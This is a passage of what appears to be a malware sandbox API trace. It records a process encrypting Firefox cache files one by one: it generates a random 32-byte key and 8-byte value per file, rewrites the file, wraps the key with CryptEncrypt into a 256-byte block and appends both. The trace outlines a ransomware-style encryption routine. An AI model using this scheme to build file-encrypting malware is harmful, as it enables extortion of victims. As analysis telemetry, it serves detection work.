hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6d68 | out: pbBuffer=0x30e6d68) returned 1 [0186.283] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0186.283] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9097930649FE7A5ED5C370E284F3159B56458EFF", dwFileAttributes=0x80) returned 1 [0186.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e57c0 [0186.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.284] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x112a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x112a, lpOverlapped=0x0) returned 1 [0186.288] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4394, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.288] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f49c0*, nNumberOfBytesToWrite=0x112a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f49c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112a, lpOverlapped=0x0) returned 1 [0186.288] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112a [0186.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.289] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6d68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6d68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.289] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6d68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.289] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.289] CloseHandle (hObject=0x1b80) returned 1 [0186.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6318 | out: pbBuffer=0x30e6318) returned 1 [0186.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\90873B6220C4B6986D18F883E40CDFF4130FA25D", dwFileAttributes=0x80) returned 1 [0186.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6420 [0186.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.292] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x232c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x232c, lpOverlapped=0x0) returned 1 [0186.304] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-9004, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.304] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7068*, nNumberOfBytesToWrite=0x232c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x232c, lpOverlapped=0x0) returned 1 [0186.304] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x232c [0186.305] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.305] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6318*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6318*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.305] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6318*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6318*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.305] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.305] CloseHandle (hObject=0x1b80) returned 1 [0186.307] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e56b8 | out: pbBuffer=0x30e56b8) returned 1 [0186.307] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0186.307] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8F27E0DD6B745A71BFEF380695A51D56F3EF3131", dwFileAttributes=0x80) returned 1 [0186.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e57c0 [0186.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.308] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x42d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x42d, lpOverlapped=0x0) returned 1 [0186.317] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1069, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.317] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x42d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42d, lpOverlapped=0x0) returned 1 [0186.318] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42d [0186.318] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.318] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e56b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e56b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.318] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e56b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e56b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.318] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.319] CloseHandle (hObject=0x1b80) returned 1 [0186.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5be0 | out: pbBuffer=0x30e5be0) returned 1 [0186.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.320] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8E75488310FCEE9798415D0A12C6809233B39D0A", dwFileAttributes=0x80) returned 1 [0186.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5ce8 [0186.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.321] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1a20, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a20, lpOverlapped=0x0) returned 1 [0186.335] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.335] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f52b0*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f52b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a20, lpOverlapped=0x0) returned 1 [0186.336] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a20 [0186.336] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.336] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e5be0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e5be0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.336] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e5be0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5be0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.336] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.337] CloseHandle (hObject=0x1b80) returned 1 [0186.339] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6d68 | out: pbBuffer=0x30e6d68) returned 1 [0186.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.340] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8E46B30B8A6CD2DC14E8C6957D0707ABC329598F", dwFileAttributes=0x80) returned 1 [0186.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e54a8 [0186.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.340] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x15261, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x15261, lpOverlapped=0x0) returned 1 [0186.348] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-86625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.348] WriteFile (in: hFile=0x1b80, lpBuffer=0x2f00288*, nNumberOfBytesToWrite=0x15261, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f00288*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15261, lpOverlapped=0x0) returned 1 [0186.349] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15261 [0186.349] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.349] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6d68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6d68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.349] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6d68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.350] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.350] CloseHandle (hObject=0x1b80) returned 1 [0186.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e56b8 | out: pbBuffer=0x30e56b8) returned 1 [0186.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0186.354] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8DB62C64DCFF7E1003C3E4440ADCDB338E0EC130", dwFileAttributes=0x80) returned 1 [0186.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e57c0 [0186.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.355] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x14847, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x14847, lpOverlapped=0x0) returned 1 [0186.360] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-84039, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.360] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eff868*, nNumberOfBytesToWrite=0x14847, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eff868*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14847, lpOverlapped=0x0) returned 1 [0186.361] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14847 [0186.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e56b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e56b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.361] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e56b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e56b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.362] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.362] CloseHandle (hObject=0x1b80) returned 1 [0186.364] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5be0 | out: pbBuffer=0x30e5be0) returned 1 [0186.364] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.364] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8D42CCDFDB62B35CD60A1498C713514C29CD6D49", dwFileAttributes=0x80) returned 1 [0186.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6420 [0186.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.365] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xb13, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xb13, lpOverlapped=0x0) returned 1 [0186.373] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2835, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.373] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f43a8*, nNumberOfBytesToWrite=0xb13, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f43a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb13, lpOverlapped=0x0) returned 1 [0186.374] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb13 [0186.374] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.374] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e5be0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e5be0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.374] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e5be0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5be0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.374] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.375] CloseHandle (hObject=0x1b80) returned 1 [0186.376] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e54a8 | out: pbBuffer=0x30e54a8) returned 1 [0186.376] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0186.376] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C485AAB55CF31B760712B22FB3F3AB91A5E2021", dwFileAttributes=0x80) returned 1 [0186.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6738 [0186.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.377] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xdff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xdff, lpOverlapped=0x0) returned 1 [0186.385] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.385] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4690*, nNumberOfBytesToWrite=0xdff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4690*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdff, lpOverlapped=0x0) returned 1 [0186.385] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdff [0186.385] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.385] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.386] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.386] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.386] CloseHandle (hObject=0x1b80) returned 1 [0186.388] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6b58 | out: pbBuffer=0x30e6b58) returned 1 [0186.388] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.388] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C464319D7DA26EEEF0DC70D0E126016B1661BE9", dwFileAttributes=0x80) returned 1 [0186.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5be0 [0186.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.388] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0186.398] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.398] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4690*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4690*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0186.399] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfc [0186.399] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.399] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6b58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6b58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.399] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6b58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6b58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.399] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.400] CloseHandle (hObject=0x1b80) returned 1 [0186.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5df0 | out: pbBuffer=0x30e5df0) returned 1 [0186.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.403] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C23783988FE2DC0BDAE02B1A35CCD9FACF16B36", dwFileAttributes=0x80) returned 1 [0186.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6b58 [0186.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.404] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x11f2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x11f2, lpOverlapped=0x0) returned 1 [0186.413] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.413] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4a88*, nNumberOfBytesToWrite=0x11f2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4a88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11f2, lpOverlapped=0x0) returned 1 [0186.414] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11f2 [0186.414] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.414] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e5df0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e5df0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.414] WriteFile (in: hFile=0x1b80, 